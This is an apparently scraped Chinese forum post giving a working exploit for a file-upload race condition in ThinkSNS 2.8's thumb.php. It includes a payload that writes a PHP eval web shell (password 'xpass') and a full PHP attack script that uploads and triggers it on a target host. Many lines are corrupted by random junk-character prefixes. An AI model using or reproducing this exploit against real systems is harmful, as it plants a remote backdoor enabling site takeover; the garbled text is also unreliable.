Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
0 n2 L3 `& K% `( K, Z. m1 A存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
存在漏洞的文件为：thumb.php
作者：韦鲲鹏
/ n7 h2 M2 M3 w5 d0 `8 l1、        准备如下PHP文件并上传到服务器（自己的）。
  y; ^6 j4 `; ^; G文件内容如下：
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。
- w5 w7 Y/ a" g" U, g2 S1 _
3、        上传临时文件。
4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
0 L/ z1 ?) ~4 lExploit文件内容如下：（这个我就不详细解释了）
<?php
error_reporting(0);
set_time_limit(0);
. p/ h1 n) z3 v& Rini_set(“default_socket_timeout”, 5);
/ `1 u, `- P& mfunction http_send($host, $port, $headers) {
& Y0 x# [- Z9 N3 g: }0 x  i$fp = fsockopen($host, $port);
1 @' z: k* `9 c4 ?7 G; e$ H1 s$ vif (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
5 k6 L% L) N' F  X, W+ `return $fp;
}
0 D5 q: k2 T& W6 wfunction http_recv($fp) {
$ret=”";
while (!feof($fp))
$ret.= fgets($fp, 1024);
fclose($fp);
return $ret;
}
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
7 Z4 l( ~, @( \if ($argc < 4) {
# p+ v: a+ `8 F( o5 M8 m! qprint “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
}
* y1 H0 q1 {  p$ n: X$host = $argv[1];
$path = $argv[2];
$url = $argv[3];
$i=0;
//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$headers_up .= “Host: “.$host.”\r\n”;
$ A' x2 l7 W8 x! H" C, m7 f+ i$headers_up .= “Connection: close\r\n\r\n”;
) |6 t6 `0 D. O2 X5 a) _0 v! mecho $headers_up;
" K* i7 H0 p- A* s: Q. P  q//临时文件访问数据包
; s$ u3 W% t  d8 }$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
& Z% g/ ]5 s, G5 I5 [4 D$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
echo $headers;
while(++$i<10) {
fclose(http_send($host, 80, $headers));
: O5 j9 r3 |% h3 y0 l6 o) j}
fclose(http_send($host, 80, $headers_up));
while(++$i<50) {
fclose(http_send($host, 80, $headers));
  v$ q3 F5 Z0 }- N}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
  j  F& s  l- N1 ^- \$headers .= “Connection: close\r\n\r\n”;
( S! Y+ _" U6 L$res=http_recv(http_send($host, 80, $headers));
9 N( h: A1 P' y" }6 Yif(preg_match(‘/200 OK/’,$res)) {
4 L7 M/ v3 Y0 o0 g$ T- jprint “Success!\n\n”;
! p* Y( ?& O6 W% t, U7 ]1 J$ s) b7 I2 c} else {
" ]2 F4 ^7 r% d4 W3 O' v) g1 ^+ y; Hprint “Fail!\n\n”;
2 E2 ~8 V7 L2 [1 i$ E: F( e  j}
% G/ O9 O. Y  P; z# P5 R?>
​